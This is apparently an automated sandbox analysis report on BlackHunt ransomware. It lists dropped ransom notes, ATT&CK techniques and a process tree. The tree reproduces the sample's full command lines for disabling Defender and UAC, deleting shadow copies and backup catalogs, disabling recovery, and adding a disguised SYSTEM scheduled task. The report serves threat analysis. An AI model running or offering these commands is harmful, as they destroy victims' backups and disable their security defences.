File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Luxembourg	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\EST5	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\#BlackHunt_ReadMe.txt	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\#BlackHunt_ReadMe.hta	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.txt	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIcon.png	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Indiana\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Novosibirsk	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\lua\sd\#BlackHunt_ReadMe.hta	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-highlight.png	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\scrapbook.png	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\doclib.gif	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-utilities.jar	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_ButtonGraphic.png	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\Java\jre7\lib\zi\Australia\#BlackHunt_ReadMe.hta	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-common.xml	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\DVD Maker\en-US\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-utilities.xml	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.hta	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_ReadMe.hta	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Tallinn	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Eirunepe	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_ja_4.4.0.v20140623020002.jar	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-actions.jar	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\DVD Maker\fieldswitch.ax	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\203x8subpicture.png	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\rightnav.gif	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\#BlackHunt_ReadMe.hta	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\dummy.luac	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\codec\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\Data1.cab	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\#BlackHunt_ReadMe.txt	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santiago	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_zh_4.4.0.v20140623020002.jar	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\RestoreDisconnect.mpg	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.hta	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\#BlackHunt_ReadMe.txt	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1336	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
904	vssadmin.exe
3992	vssadmin.exe
1172	vssadmin.exe
2708	vssadmin.exe
2016	vssadmin.exe
2388	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3772	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3688	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1768	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Token: SeRestorePrivilege	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Token: SeBackupPrivilege	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Token: SeTakeOwnershipPrivilege	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Token: SeAuditPrivilege	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Token: SeSecurityPrivilege	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Token: SeIncBasePriorityPrivilege	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Token: SeBackupPrivilege	2520	vssvc.exe
Token: SeRestorePrivilege	2520	vssvc.exe
Token: SeAuditPrivilege	2520	vssvc.exe
Token: SeBackupPrivilege	2532	cmd.exe
Token: SeRestorePrivilege	2532	cmd.exe
Token: SeSecurityPrivilege	2532	cmd.exe
Token: SeSecurityPrivilege	3776	wevtutil.exe
Token: SeBackupPrivilege	3776	wevtutil.exe
Token: SeSecurityPrivilege	2620	wevtutil.exe
Token: SeBackupPrivilege	2620	wevtutil.exe
Token: SeSecurityPrivilege	3632	wevtutil.exe
Token: SeBackupPrivilege	3632	wevtutil.exe
Token: SeSecurityPrivilege	3560	wevtutil.exe
Token: SeBackupPrivilege	3560	wevtutil.exe
Token: SeSecurityPrivilege	3680	wevtutil.exe
Token: SeBackupPrivilege	3680	wevtutil.exe
Token: SeDebugPrivilege	3772	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2252 wrote to memory of 1976	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	155
PID 2252 wrote to memory of 1976	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	155
PID 2252 wrote to memory of 1976	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	155
PID 2252 wrote to memory of 1976	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	155
PID 2252 wrote to memory of 2200	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	154
PID 2252 wrote to memory of 2200	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	154
PID 2252 wrote to memory of 2200	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	154
PID 2252 wrote to memory of 2200	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	154
PID 2252 wrote to memory of 1972	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	152
PID 2252 wrote to memory of 1972	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	152
PID 2252 wrote to memory of 1972	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	152
PID 2252 wrote to memory of 1972	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	152
PID 1976 wrote to memory of 2112	1976	cmd.exe	151
PID 1976 wrote to memory of 2112	1976	cmd.exe	151
PID 1976 wrote to memory of 2112	1976	cmd.exe	151
PID 2252 wrote to memory of 1680	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	49
PID 2252 wrote to memory of 1680	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	49
PID 2252 wrote to memory of 1680	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	49
PID 2252 wrote to memory of 1680	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	49
PID 2252 wrote to memory of 2608	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	149
PID 2252 wrote to memory of 2608	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	149
PID 2252 wrote to memory of 2608	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	149
PID 2252 wrote to memory of 2608	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	149
PID 2200 wrote to memory of 2720	2200	cmd.exe	147
PID 2200 wrote to memory of 2720	2200	cmd.exe	147
PID 2200 wrote to memory of 2720	2200	cmd.exe	147
PID 2252 wrote to memory of 2736	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	31
PID 2252 wrote to memory of 2736	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	31
PID 2252 wrote to memory of 2736	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	31
PID 2252 wrote to memory of 2736	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	31
PID 1972 wrote to memory of 2636	1972	cmd.exe	145
PID 1972 wrote to memory of 2636	1972	cmd.exe	145
PID 1972 wrote to memory of 2636	1972	cmd.exe	145
PID 2252 wrote to memory of 2604	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	144
PID 2252 wrote to memory of 2604	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	144
PID 2252 wrote to memory of 2604	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	144
PID 2252 wrote to memory of 2604	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	144
PID 1680 wrote to memory of 2880	1680	reg.exe	216
PID 1680 wrote to memory of 2880	1680	reg.exe	216
PID 1680 wrote to memory of 2880	1680	reg.exe	216
PID 2252 wrote to memory of 2768	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	142
PID 2252 wrote to memory of 2768	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	142
PID 2252 wrote to memory of 2768	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	142
PID 2252 wrote to memory of 2768	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	142
PID 2252 wrote to memory of 2612	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	32
PID 2252 wrote to memory of 2612	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	32
PID 2252 wrote to memory of 2612	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	32
PID 2252 wrote to memory of 2612	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	32
PID 2252 wrote to memory of 2224	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	137
PID 2252 wrote to memory of 2224	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	137
PID 2252 wrote to memory of 2224	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	137
PID 2252 wrote to memory of 2224	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	137
PID 2252 wrote to memory of 2508	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	136
PID 2252 wrote to memory of 2508	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	136
PID 2252 wrote to memory of 2508	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	136
PID 2252 wrote to memory of 2508	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	136
PID 2252 wrote to memory of 936	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	226
PID 2252 wrote to memory of 936	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	226
PID 2252 wrote to memory of 936	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	226
PID 2252 wrote to memory of 936	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	226
PID 2608 wrote to memory of 2644	2608	cmd.exe	133
PID 2608 wrote to memory of 2644	2608	cmd.exe	133
PID 2608 wrote to memory of 2644	2608	cmd.exe	133
PID 2252 wrote to memory of 2544	2252	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe	33

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
"C:\Users\Admin\AppData\Local\Temp\2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe" /F
  2⤵
  PID:2812
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1828
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:788
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
